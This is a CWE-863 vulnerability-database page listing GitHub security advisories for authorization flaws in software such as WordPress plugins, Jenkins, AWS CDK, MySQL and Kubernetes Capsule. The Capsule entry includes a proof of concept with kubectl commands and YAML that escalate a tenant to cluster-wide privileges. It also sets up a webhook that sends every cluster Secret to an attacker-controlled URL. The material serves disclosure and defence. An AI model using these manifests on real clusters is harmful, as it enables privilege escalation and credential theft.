CWE-863
Allowed-with-ReviewIncorrect Authorization
Abstraction: Class · Status: Incomplete
The product performs an authorization check when an actor attempts to access a resource or perform an action, but it does not correctly perform the check.
5550 vulnerabilities reference this CWE, most recent first.
GHSA-QHHH-GXXV-PG3H
Vulnerability from github – Published: 2023-06-07 03:30 – Updated: 2024-04-04 04:37The WPS Hide Login plugin for WordPress is vulnerable to login page disclosure even when the settings of the plugin are set to hide the login page making it possible for unauthenticated attackers to brute force credentials on sites in versions up to, and including, 1.5.4.2.
{
"affected": [],
"aliases": [
"CVE-2020-36710"
],
"database_specific": {
"cwe_ids": [
"CWE-863"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2023-06-07T02:15:11Z",
"severity": "HIGH"
},
"details": "The WPS Hide Login plugin for WordPress is vulnerable to login page disclosure even when the settings of the plugin are set to hide the login page making it possible for unauthenticated attackers to brute force credentials on sites in versions up to, and including, 1.5.4.2.",
"id": "GHSA-qhhh-gxxv-pg3h",
"modified": "2024-04-04T04:37:29Z",
"published": "2023-06-07T03:30:21Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2020-36710"
},
{
"type": "WEB",
"url": "https://blog.nintechnet.com/wordpress-wps-hide-login-fixed-security-issue"
},
{
"type": "WEB",
"url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/7808329f-1688-480c-a83c-c4ab2fa86da6?source=cve"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-QHMH-X535-R77M
Vulnerability from github – Published: 2022-05-13 01:44 – Updated: 2022-05-13 01:44Because of insufficient authorization checks it is possible for any authenticated user to change profile data of other users in Pleasant Password Server before 7.8.3.
{
"affected": [],
"aliases": [
"CVE-2017-17708"
],
"database_specific": {
"cwe_ids": [
"CWE-863"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2018-07-31T14:29:00Z",
"severity": "MODERATE"
},
"details": "Because of insufficient authorization checks it is possible for any authenticated user to change profile data of other users in Pleasant Password Server before 7.8.3.",
"id": "GHSA-qhmh-x535-r77m",
"modified": "2022-05-13T01:44:27Z",
"published": "2022-05-13T01:44:27Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2017-17708"
},
{
"type": "WEB",
"url": "https://www.profundis-labs.com/advisories/CVE-2017-17708.txt"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.0/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-QHMJ-29VH-8MJM
Vulnerability from github – Published: 2022-07-01 00:01 – Updated: 2022-12-12 20:19Jenkins Request Rename Or Delete Plugin 1.1.0 and earlier does not correctly perform a permission check in an HTTP endpoint, allowing attackers with Overall/Read permission to view an administrative configuration page listing pending requests.
{
"affected": [
{
"package": {
"ecosystem": "Maven",
"name": "org.jenkins-ci.plugins:rrod"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"last_affected": "1.1.0"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2022-34814"
],
"database_specific": {
"cwe_ids": [
"CWE-863"
],
"github_reviewed": true,
"github_reviewed_at": "2022-07-12T18:16:57Z",
"nvd_published_at": "2022-06-30T18:15:00Z",
"severity": "MODERATE"
},
"details": "Jenkins Request Rename Or Delete Plugin 1.1.0 and earlier does not correctly perform a permission check in an HTTP endpoint, allowing attackers with Overall/Read permission to view an administrative configuration page listing pending requests.",
"id": "GHSA-qhmj-29vh-8mjm",
"modified": "2022-12-12T20:19:46Z",
"published": "2022-07-01T00:01:08Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2022-34814"
},
{
"type": "PACKAGE",
"url": "https://github.com/jenkinsci/rrod-plugin"
},
{
"type": "WEB",
"url": "https://www.jenkins.io/security/advisory/2022-06-30/#SECURITY-1996"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N",
"type": "CVSS_V3"
}
],
"summary": "Incorrect Authorization in Jenkins Request Rename Or Delete Plugin"
}
GHSA-QHQ3-6VGR-J7JC
Vulnerability from github – Published: 2023-05-18 12:30 – Updated: 2023-05-18 12:30Sensitive information disclosure due to improper authorization. The following products are affected: Acronis Cyber Infrastructure (ACI) before build 5.3.1-38.
{
"affected": [],
"aliases": [
"CVE-2023-2782"
],
"database_specific": {
"cwe_ids": [
"CWE-285",
"CWE-863"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2023-05-18T11:15:09Z",
"severity": "MODERATE"
},
"details": "Sensitive information disclosure due to improper authorization. The following products are affected: Acronis Cyber Infrastructure (ACI) before build 5.3.1-38.",
"id": "GHSA-qhq3-6vgr-j7jc",
"modified": "2023-05-18T12:30:15Z",
"published": "2023-05-18T12:30:15Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2023-2782"
},
{
"type": "WEB",
"url": "https://security-advisory.acronis.com/advisories/SEC-3475"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.0/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-QHVC-3GGX-6RJ7
Vulnerability from github – Published: 2026-05-29 21:31 – Updated: 2026-05-29 21:31In JetBrains TeamCity before 2026.1 insufficient username validation in the SAML plugin
{
"affected": [],
"aliases": [
"CVE-2026-49376"
],
"database_specific": {
"cwe_ids": [
"CWE-863"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-05-29T19:16:27Z",
"severity": "MODERATE"
},
"details": "In JetBrains TeamCity before 2026.1 insufficient username validation in the SAML plugin",
"id": "GHSA-qhvc-3ggx-6rj7",
"modified": "2026-05-29T21:31:23Z",
"published": "2026-05-29T21:31:23Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-49376"
},
{
"type": "WEB",
"url": "https://www.jetbrains.com/privacy-security/issues-fixed"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-QJ22-XQJR-V83V
Vulnerability from github – Published: 2026-03-03 18:09 – Updated: 2026-03-03 18:09A missing sender-authorization check in Telegram message_reaction handling allowed unauthorized users to trigger reaction-derived system events.
Affected Packages / Versions
- Package:
openclaw(npm) - Introduced:
2026.2.17 - Affected:
>= 2026.2.17and<= 2026.2.24 - Latest published at patch time:
2026.2.24 - Patched in release:
2026.2.25
Impact
When reaction notifications are enabled, unauthorized Telegram senders could inject reaction system events despite configured DM/group authorization controls (dmPolicy, allowFrom, groupPolicy, groupAllowFrom).
Fix Commit(s)
e56b0cf1a04f992ac6ebc775899f48ea31687640
Release Process Note
patched_versions is pre-set to the release (2026.2.25) so once npm release 2026.2.25 is published, this advisory can be published without further edits.
OpenClaw thanks @tdjackey for reporting.
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 2026.2.24"
},
"package": {
"ecosystem": "npm",
"name": "openclaw"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "2026.2.25"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [],
"database_specific": {
"cwe_ids": [
"CWE-863"
],
"github_reviewed": true,
"github_reviewed_at": "2026-03-03T18:09:08Z",
"nvd_published_at": null,
"severity": "HIGH"
},
"details": "A missing sender-authorization check in Telegram `message_reaction` handling allowed unauthorized users to trigger reaction-derived system events.\n\n## Affected Packages / Versions\n\n- Package: `openclaw` (npm)\n- Introduced: `2026.2.17`\n- Affected: `\u003e= 2026.2.17` and `\u003c= 2026.2.24`\n- Latest published at patch time: `2026.2.24`\n- Patched in release: `2026.2.25`\n\n## Impact\n\nWhen reaction notifications are enabled, unauthorized Telegram senders could inject reaction system events despite configured DM/group authorization controls (`dmPolicy`, `allowFrom`, `groupPolicy`, `groupAllowFrom`).\n\n## Fix Commit(s)\n\n- `e56b0cf1a04f992ac6ebc775899f48ea31687640`\n\n## Release Process Note\n\n`patched_versions` is pre-set to the release (`2026.2.25`) so once npm release `2026.2.25` is published, this advisory can be published without further edits.\n\nOpenClaw thanks @tdjackey for reporting.",
"id": "GHSA-qj22-xqjr-v83v",
"modified": "2026-03-03T18:09:08Z",
"published": "2026-03-03T18:09:08Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/openclaw/openclaw/security/advisories/GHSA-qj22-xqjr-v83v"
},
{
"type": "WEB",
"url": "https://github.com/openclaw/openclaw/commit/e56b0cf1a04f992ac6ebc775899f48ea31687640"
},
{
"type": "PACKAGE",
"url": "https://github.com/openclaw/openclaw"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:N/VI:H/VA:N/SC:N/SI:N/SA:N",
"type": "CVSS_V4"
}
],
"summary": "OpenClaw\u0027s Telegram message_reaction authorization bypass allows unauthorized system-event injection"
}
GHSA-QJ7P-FVH6-8GG6
Vulnerability from github – Published: 2022-05-13 01:18 – Updated: 2022-05-13 01:18GNU screen before 4.5.1 allows local users to modify arbitrary files and consequently gain root privileges by leveraging improper checking of logfile permissions.
{
"affected": [],
"aliases": [
"CVE-2017-5618"
],
"database_specific": {
"cwe_ids": [
"CWE-863"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2017-03-20T16:59:00Z",
"severity": "HIGH"
},
"details": "GNU screen before 4.5.1 allows local users to modify arbitrary files and consequently gain root privileges by leveraging improper checking of logfile permissions.",
"id": "GHSA-qj7p-fvh6-8gg6",
"modified": "2022-05-13T01:18:22Z",
"published": "2022-05-13T01:18:22Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2017-5618"
},
{
"type": "WEB",
"url": "https://lists.gnu.org/archive/html/screen-devel/2017-01/msg00025.html"
},
{
"type": "WEB",
"url": "http://git.savannah.gnu.org/cgit/screen.git/patch/?id=1c6d2817926d30c9a7a97d99af7ac5de4a5845b8"
},
{
"type": "WEB",
"url": "http://git.savannah.gnu.org/cgit/screen.git/tree/src/ChangeLog?h=v.4.5.1"
},
{
"type": "WEB",
"url": "http://savannah.gnu.org/bugs/?50142"
},
{
"type": "WEB",
"url": "http://www.openwall.com/lists/oss-security/2017/01/29/3"
},
{
"type": "WEB",
"url": "http://www.securityfocus.com/bid/95873"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.0/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-QJ85-69XF-2VXQ
Vulnerability from github – Published: 2024-08-27 19:53 – Updated: 2024-08-28 20:06Summary
The AWS Cloud Development Kit (CDK) is an open-source framework for defining cloud infrastructure using code. Customers use it to create their own applications which are converted to AWS CloudFormation templates during deployment to a customer’s AWS account. CDK contains pre-built components called "constructs" that are higher-level abstractions providing defaults and best practices. This approach enables developers to use familiar programming languages to define complex cloud infrastructure more efficiently than writing raw CloudFormation templates.
We identified an issue in AWS Cloud Development Kit (CDK) which, under certain conditions, can result in granting authenticated Amazon Cognito users broader than intended access. Specifically, if a CDK application uses the "RestApi" construct with "CognitoUserPoolAuthorizer" as the authorizer and uses authorization scopes to limit access. This issue does not affect the availability of the specific API resources.
Impact
Authenticated Cognito users may gain unintended access to protected API resources or methods, leading to potential data disclosure, and modification issues.
Impacted versions: >=2.142.0;<=2.148.0
Patches
The patch is included in CDK version >=2.148.1.
Recommended Actions
- Upgrade your AWS CDK version to 2.148.1 or newer and re-deploy your application(s) to address this issue.
- If you are using older CDK versions before 2.142.0, you are not affected by this issue, however it is recommended to upgrade to the latest version to receive the latest features and fixes.
- Confirm whether your application(s) is affected by searching for "CognitoUserPoolsAuthorizer" in your CDK application. If it is referenced inside the "RestApi" construct, and the "RestApi" resource or method utilize authorization scopes to limit access, and you deployed your applications using the impacted versions of CDK, your application is affected.
References
- AWS CDK Documentation: https://docs.aws.amazon.com/cdk/v2/guide/home.html
- AWS CDK RestApi Construct Documentation: https://docs.aws.amazon.com/cdk/api/v2/docs/aws-cdk-lib.aws_apigateway.RestApi.html
- AWS CDK CognitoUserPoolsAuthorizer Documentation: https://docs.aws.amazon.com/cdk/api/v2/docs/aws-cdk- lib.aws_apigateway.CognitoUserPoolsAuthorizer.html
- AWS CDK v2.148.1 Release Notes: https://github.com/aws/aws-cdk/releases/tag/v2.148.1
If you have any questions or comments about this advisory we ask that you contact AWS/Amazon Security via our vulnerability reporting page [1] or directly via email to aws-security@amazon.com. Please do not create a public GitHub issue.
[1] Vulnerability reporting page: https://aws.amazon.com/security/vulnerability-reporting
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 2.148.0"
},
"package": {
"ecosystem": "npm",
"name": "aws-cdk"
},
"ranges": [
{
"events": [
{
"introduced": "2.142.0"
},
{
"fixed": "2.148.1"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2024-45037"
],
"database_specific": {
"cwe_ids": [
"CWE-863"
],
"github_reviewed": true,
"github_reviewed_at": "2024-08-27T19:53:21Z",
"nvd_published_at": "2024-08-27T19:15:17Z",
"severity": "MODERATE"
},
"details": "### Summary\nThe AWS Cloud Development Kit (CDK) is an open-source framework for defining cloud infrastructure using code. Customers use it to create their own applications which are converted to AWS CloudFormation templates during deployment to a customer\u2019s AWS account. CDK contains pre-built components called \"constructs\" that are higher-level abstractions providing defaults and best practices. This approach enables developers to use familiar programming languages to define complex cloud infrastructure more efficiently than writing raw CloudFormation templates. \n\nWe identified an issue in AWS Cloud Development Kit (CDK) which, under certain conditions, can result in granting authenticated Amazon Cognito users broader than intended access. Specifically, if a CDK application uses the \"RestApi\" construct with \"CognitoUserPoolAuthorizer\" as the authorizer and uses authorization scopes to limit access. This issue does not affect the availability of the specific API resources. \n\n### Impact\nAuthenticated Cognito users may gain unintended access to protected API resources or methods, leading to potential data disclosure, and modification issues. \n\nImpacted versions: \u003e=2.142.0;\u003c=2.148.0\n\n### Patches\nThe patch is included in CDK version \u003e=2.148.1.\n\n### Recommended Actions\n* Upgrade your AWS CDK version to 2.148.1 or newer and re-deploy your application(s) to address this issue.\n* If you are using older CDK versions before 2.142.0, you are not affected by this issue, however it is recommended to upgrade to the latest version to receive the latest features and fixes.\n* Confirm whether your application(s) is affected by searching for \"CognitoUserPoolsAuthorizer\" in your CDK application. If it is referenced inside the \"RestApi\" construct, and the \"RestApi\" resource or method utilize authorization scopes to limit access, and you deployed your applications using the impacted versions of CDK, your application is affected.\n\n\n\n### References\n* AWS CDK Documentation: https://docs.aws.amazon.com/cdk/v2/guide/home.html\n* AWS CDK RestApi Construct Documentation: https://docs.aws.amazon.com/cdk/api/v2/docs/aws-cdk-[lib.aws](http://lib.aws/)_apigateway.RestApi.html\n* AWS CDK CognitoUserPoolsAuthorizer Documentation: https://docs.aws.amazon.com/cdk/api/v2/docs/aws-cdk- [lib.aws](http://lib.aws/)_apigateway.CognitoUserPoolsAuthorizer.html \n* AWS CDK v2.148.1 Release Notes: https://github.com/aws/aws-cdk/releases/tag/v2.148.1\n\nIf you have any questions or comments about this advisory we ask that you contact AWS/Amazon Security via our vulnerability reporting page [1] or directly via email to [aws-security@amazon.com](mailto:aws-security@amazon.com). Please do not create a public GitHub issue.\n\n[1] Vulnerability reporting page: https://aws.amazon.com/security/vulnerability-reporting\n",
"id": "GHSA-qj85-69xf-2vxq",
"modified": "2024-08-28T20:06:12Z",
"published": "2024-08-27T19:53:21Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/aws/aws-cdk/security/advisories/GHSA-qj85-69xf-2vxq"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2024-45037"
},
{
"type": "WEB",
"url": "https://github.com/aws/aws-cdk/commit/4bee768f07e73ab5fe466f9ad3d1845456a0513b"
},
{
"type": "WEB",
"url": "https://docs.aws.amazon.com/cdk/v2/guide/home.html"
},
{
"type": "PACKAGE",
"url": "https://github.com/aws/aws-cdk"
},
{
"type": "WEB",
"url": "https://github.com/aws/aws-cdk/releases/tag/v2.148.1"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N",
"type": "CVSS_V3"
},
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:N/VI:N/VA:N/SC:L/SI:L/SA:N",
"type": "CVSS_V4"
}
],
"summary": "AWS CDK RestApi not generating authorizationScope correctly in resultant CFN template"
}
GHSA-QJGH-6VQ4-Q6JF
Vulnerability from github – Published: 2025-04-15 21:31 – Updated: 2025-11-03 21:33Vulnerability in the MySQL Server product of Oracle MySQL (component: InnoDB). Supported versions that are affected are 8.0.0-8.0.41, 8.4.0-8.4.4 and 9.0.0-9.2.0. Easily exploitable vulnerability allows high privileged attacker with network access via multiple protocols to compromise MySQL Server. Successful attacks of this vulnerability can result in unauthorized update, insert or delete access to some of MySQL Server accessible data. CVSS 3.1 Base Score 2.7 (Integrity impacts). CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:N/I:L/A:N).
{
"affected": [],
"aliases": [
"CVE-2025-30703"
],
"database_specific": {
"cwe_ids": [
"CWE-863"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2025-04-15T21:15:59Z",
"severity": "LOW"
},
"details": "Vulnerability in the MySQL Server product of Oracle MySQL (component: InnoDB). Supported versions that are affected are 8.0.0-8.0.41, 8.4.0-8.4.4 and 9.0.0-9.2.0. Easily exploitable vulnerability allows high privileged attacker with network access via multiple protocols to compromise MySQL Server. Successful attacks of this vulnerability can result in unauthorized update, insert or delete access to some of MySQL Server accessible data. CVSS 3.1 Base Score 2.7 (Integrity impacts). CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:N/I:L/A:N).",
"id": "GHSA-qjgh-6vq4-q6jf",
"modified": "2025-11-03T21:33:33Z",
"published": "2025-04-15T21:31:47Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-30703"
},
{
"type": "WEB",
"url": "https://security.netapp.com/advisory/ntap-20250502-0006"
},
{
"type": "WEB",
"url": "https://www.oracle.com/security-alerts/cpuapr2025.html"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:N/I:L/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-QJJM-7J9W-PW72
Vulnerability from github – Published: 2026-05-28 17:02 – Updated: 2026-06-09 10:50TenantResource RawItems Cluster-Scoped Resource Creation Vulnerability
Summary
The Capsule Controller runs with cluster-admin privileges. Although the TenantResource RawItems processing logic forcibly sets the namespace, this is ineffective for cluster-scoped resources. Tenant administrators can leverage the Controller's elevated privileges to create cluster-scoped resources (such as ClusterRole and ValidatingWebhookConfiguration) that they cannot create directly, achieving cross-tenant privilege escalation and cluster-level attacks.
Details
Vulnerability Location
File: internal/controllers/resources/processor.go
Function: HandleSection()
Lines: 247-285
Core Issues
-
Excessive Controller Privileges: The Controller's ServiceAccount is bound to the cluster-admin ClusterRole
yaml # ClusterRoleBinding: capsule-manager-rolebinding roleRef: kind: ClusterRole name: cluster-admin -
Missing Resource Scope Validation: Although the code calls
obj.SetNamespace(ns.Name), this is ineffective for cluster-scoped resources (ClusterRole, ValidatingWebhookConfiguration, etc.), as the Kubernetes API ignores this field -
Missing Resource Type Validation: No check for whether resources are cluster-scoped
Vulnerable Code Analysis
// internal/controllers/resources/processor.go
for rawIndex, item := range spec.RawItems {
template := string(item.Raw)
t := fasttemplate.New(template, "{{ ", " }}")
tmplString := t.ExecuteString(map[string]interface{}{
"tenant.name": tnt.Name,
"namespace": ns.Name,
})
obj, keysAndValues := unstructured.Unstructured{}, []interface{}{"index", rawIndex}
// Issue 1: Accepts any resource type, including cluster-scoped resources
if _, _, decodeErr := codecFactory.UniversalDeserializer().Decode(
[]byte(tmplString), nil, &obj); decodeErr != nil {
log.Error(decodeErr, "unable to deserialize rawItem", keysAndValues...)
syncErr = errors.Join(syncErr, decodeErr)
continue
}
// Issue 2: For cluster-scoped resources, this setting is ignored by API
obj.SetNamespace(ns.Name)
// Issue 3: Controller creates with cluster-admin privileges, no scope check
if rawErr := r.createOrUpdate(ctx, &obj, objLabels, objAnnotations); rawErr != nil {
log.Info("unable to sync rawItem", keysAndValues...)
syncErr = errors.Join(syncErr, rawErr)
}
}
Attack Chain
Tenant Owner (bob) - Has TenantResource creation permission
↓
Creates TenantResource containing cluster-scoped resources
↓
Capsule Controller (cluster-admin) processes RawItems
↓
obj.SetNamespace() ignored by Kubernetes API (cluster-scoped resources have no namespace)
↓
Successfully creates cluster-scoped resources (ClusterRole, ValidatingWebhook, etc.)
↓
Cross-tenant privilege escalation / Cluster-level attacks
PoC
Environment Setup
Test Environment: Kubernetes 1.27+ cluster (verified using Kind cluster)
Step 1: Verify Capsule Controller Privileges
kubectl get clusterrolebinding capsule-manager-rolebinding -o yaml
Confirm output contains:
roleRef:
kind: ClusterRole
name: cluster-admin # Controller has full cluster management privileges
Step 2: Install Capsule and Create Test Tenant
Complete Capsule installation and tenant creation following previous environment setup steps.
Step 3: Verify bob's Permission Restrictions
Verify bob can create TenantResource:
kubectl auth can-i create tenantresources --as bob --as-group projectcapsule.dev -n tenant-b-ns1
Actual output:
yes
Verify bob cannot create ClusterRole:
kubectl auth can-i create clusterroles --as bob --as-group projectcapsule.dev
Actual output:
Warning: resource 'clusterroles' is not namespace scoped in group 'rbac.authorization.k8s.io'
no
Verify bob cannot create ValidatingWebhook:
kubectl auth can-i create validatingwebhookconfigurations --as bob --as-group projectcapsule.dev
Actual output:
Warning: resource 'validatingwebhookconfigurations' is not namespace scoped in group 'admissionregistration.k8s.io'
no
Attack Vector 1: Creating Malicious ClusterRole
Step 4: Create TenantResource Containing ClusterRole
Create file attack-clusterrole.yaml:
apiVersion: capsule.clastix.io/v1beta2
kind: TenantResource
metadata:
name: create-clusterrole
namespace: tenant-b-ns1
spec:
resyncPeriod: 60s
resources:
- namespaceSelector:
matchLabels:
capsule.clastix.io/tenant: tenant-b
rawItems:
- apiVersion: rbac.authorization.k8s.io/v1
kind: ClusterRole
metadata:
name: malicious-clusterrole
rules:
- apiGroups: ["*"]
resources: ["*"]
verbs: ["*"]
Apply configuration as bob user (critical - must specify executor):
kubectl apply -f attack-clusterrole.yaml --as bob --as-group projectcapsule.dev
Actual output:
tenantresource.capsule.clastix.io/create-clusterrole created
Important: The --as bob --as-group projectcapsule.dev parameters are crucial for proving that bob (not the cluster admin) is executing this attack.
Step 5: Verify ClusterRole Creation
kubectl get clusterrole malicious-clusterrole
Actual output:
NAME CREATED AT
malicious-clusterrole 2026-01-05T16:10:02Z
View details:
kubectl get clusterrole malicious-clusterrole -o yaml
Key output:
apiVersion: rbac.authorization.k8s.io/v1
kind: ClusterRole
metadata:
annotations:
capsule.clastix.io/tenant: tenant-b
name: malicious-clusterrole
rules:
- apiGroups: ["*"]
resources: ["*"]
verbs: ["*"]
Verification Successful: bob cannot directly create ClusterRole, but successfully created a cluster-scoped ClusterRole with all permissions through TenantResource.
Step 6: Exploit ClusterRole for Cross-Tenant Attack
Now bob can create a ClusterRoleBinding binding this ClusterRole to gain cluster-level privileges:
apiVersion: rbac.authorization.k8s.io/v1
kind: ClusterRoleBinding
metadata:
name: bob-cluster-admin
subjects:
- kind: User
name: bob
apiGroup: rbac.authorization.k8s.io
roleRef:
kind: ClusterRole
name: malicious-clusterrole
apiGroup: rbac.authorization.k8s.io
After applying, bob will have full cluster management privileges and can access resources of all tenants.
Attack Vector 2: Creating Malicious ValidatingWebhook
Step 7: Create TenantResource Containing Webhook
Create file attack-webhook.yaml:
apiVersion: capsule.clastix.io/v1beta2
kind: TenantResource
metadata:
name: create-webhook
namespace: tenant-b-ns1
spec:
resyncPeriod: 60s
resources:
- namespaceSelector:
matchLabels:
capsule.clastix.io/tenant: tenant-b
rawItems:
- apiVersion: admissionregistration.k8s.io/v1
kind: ValidatingWebhookConfiguration
metadata:
name: malicious-webhook
webhooks:
- name: malicious.webhook.com
clientConfig:
url: "https://attacker-controlled-server.com/webhook"
rules:
- operations: ["CREATE", "UPDATE"]
apiGroups: [""]
apiVersions: ["v1"]
resources: ["secrets"]
admissionReviewVersions: ["v1"]
sideEffects: None
failurePolicy: Ignore
Apply configuration as bob user:
kubectl apply -f attack-webhook.yaml --as bob --as-group projectcapsule.dev
Actual output:
tenantresource.capsule.clastix.io/create-webhook created
Step 8: Verify Webhook Creation
kubectl get validatingwebhookconfiguration malicious-webhook
Actual output:
NAME WEBHOOKS AGE
malicious-webhook 1 5s
Verification Successful: bob cannot directly create Webhook, but successfully created a cluster-scoped ValidatingWebhookConfiguration through TenantResource.
Step 9: Exploit Webhook to Steal Sensitive Data
At this point, whenever any user in the cluster creates or updates a Secret, the Kubernetes API Server will call the attacker-controlled webhook server, sending an AdmissionReview request containing the complete Secret content. The attacker can:
- Steal Secret data from all tenants (database passwords, API keys, etc.)
- Modify Secret contents
- Deny legitimate Secret creation requests, achieving DoS attacks
Impact
Affected Scope
This vulnerability affects all Capsule deployments with the following prerequisites: 1. Capsule Controller runs with cluster-admin privileges (default configuration) 2. Tenant Owner has permission to create TenantResource
Security Impact
- Cross-Tenant Privilege Escalation
- Create ClusterRole to gain cluster-level privileges
- Break tenant isolation boundaries
-
Access all resources of other tenants
-
Large-Scale Sensitive Data Theft
- Intercept all Secret creation/update requests through malicious Webhook
- Steal passwords, API keys, certificates, etc. across the entire cluster
-
Real-time monitoring of all tenant sensitive operations
-
Cluster-Level Denial of Service
- Deny all API requests through Webhook
- Make the entire cluster unavailable
-
Impact all tenants
-
Cluster Pollution
- Create malicious CRDs
- Modify StorageClass
-
Impact cluster stability
-
Persistent Backdoor
- Created cluster-scoped resources persist
- Even if TenantResource is deleted, ClusterRole and other resources remain
- Difficult to detect and remove
Limiting Factors
- Requires Tenant Owner privileges
- Requires Capsule Controller running with cluster-admin privileges (default configuration)
- Some clusters may have additional admission controllers blocking malicious resources
{
"affected": [
{
"package": {
"ecosystem": "Go",
"name": "github.com/projectcapsule/capsule"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "0.13.0"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-22872"
],
"database_specific": {
"cwe_ids": [
"CWE-20",
"CWE-863"
],
"github_reviewed": true,
"github_reviewed_at": "2026-05-28T17:02:55Z",
"nvd_published_at": "2026-06-01T19:16:21Z",
"severity": "MODERATE"
},
"details": "# TenantResource RawItems Cluster-Scoped Resource Creation Vulnerability\n\n\n## Summary\n\nThe Capsule Controller runs with cluster-admin privileges. Although the TenantResource RawItems processing logic forcibly sets the namespace, this is ineffective for cluster-scoped resources. Tenant administrators can leverage the Controller\u0027s elevated privileges to create cluster-scoped resources (such as ClusterRole and ValidatingWebhookConfiguration) that they cannot create directly, achieving cross-tenant privilege escalation and cluster-level attacks.\n\n---\n\n## Details\n\n### Vulnerability Location\n\nFile: `internal/controllers/resources/processor.go`\nFunction: `HandleSection()`\nLines: 247-285\n\n### Core Issues\n\n1. **Excessive Controller Privileges**: The Controller\u0027s ServiceAccount is bound to the cluster-admin ClusterRole\n ```yaml\n # ClusterRoleBinding: capsule-manager-rolebinding\n roleRef:\n kind: ClusterRole\n name: cluster-admin\n ```\n\n2. **Missing Resource Scope Validation**: Although the code calls `obj.SetNamespace(ns.Name)`, this is ineffective for cluster-scoped resources (ClusterRole, ValidatingWebhookConfiguration, etc.), as the Kubernetes API ignores this field\n\n3. **Missing Resource Type Validation**: No check for whether resources are cluster-scoped\n\n### Vulnerable Code Analysis\n\n```go\n// internal/controllers/resources/processor.go\nfor rawIndex, item := range spec.RawItems {\n template := string(item.Raw)\n\n t := fasttemplate.New(template, \"{{ \", \" }}\")\n tmplString := t.ExecuteString(map[string]interface{}{\n \"tenant.name\": tnt.Name,\n \"namespace\": ns.Name,\n })\n\n obj, keysAndValues := unstructured.Unstructured{}, []interface{}{\"index\", rawIndex}\n\n // Issue 1: Accepts any resource type, including cluster-scoped resources\n if _, _, decodeErr := codecFactory.UniversalDeserializer().Decode(\n []byte(tmplString), nil, \u0026obj); decodeErr != nil {\n log.Error(decodeErr, \"unable to deserialize rawItem\", keysAndValues...)\n syncErr = errors.Join(syncErr, decodeErr)\n continue\n }\n\n // Issue 2: For cluster-scoped resources, this setting is ignored by API\n obj.SetNamespace(ns.Name)\n\n // Issue 3: Controller creates with cluster-admin privileges, no scope check\n if rawErr := r.createOrUpdate(ctx, \u0026obj, objLabels, objAnnotations); rawErr != nil {\n log.Info(\"unable to sync rawItem\", keysAndValues...)\n syncErr = errors.Join(syncErr, rawErr)\n }\n}\n```\n\n### Attack Chain\n\n```\nTenant Owner (bob) - Has TenantResource creation permission\n \u2193\nCreates TenantResource containing cluster-scoped resources\n \u2193\nCapsule Controller (cluster-admin) processes RawItems\n \u2193\nobj.SetNamespace() ignored by Kubernetes API (cluster-scoped resources have no namespace)\n \u2193\nSuccessfully creates cluster-scoped resources (ClusterRole, ValidatingWebhook, etc.)\n \u2193\nCross-tenant privilege escalation / Cluster-level attacks\n```\n\n---\n\n## PoC\n\n### Environment 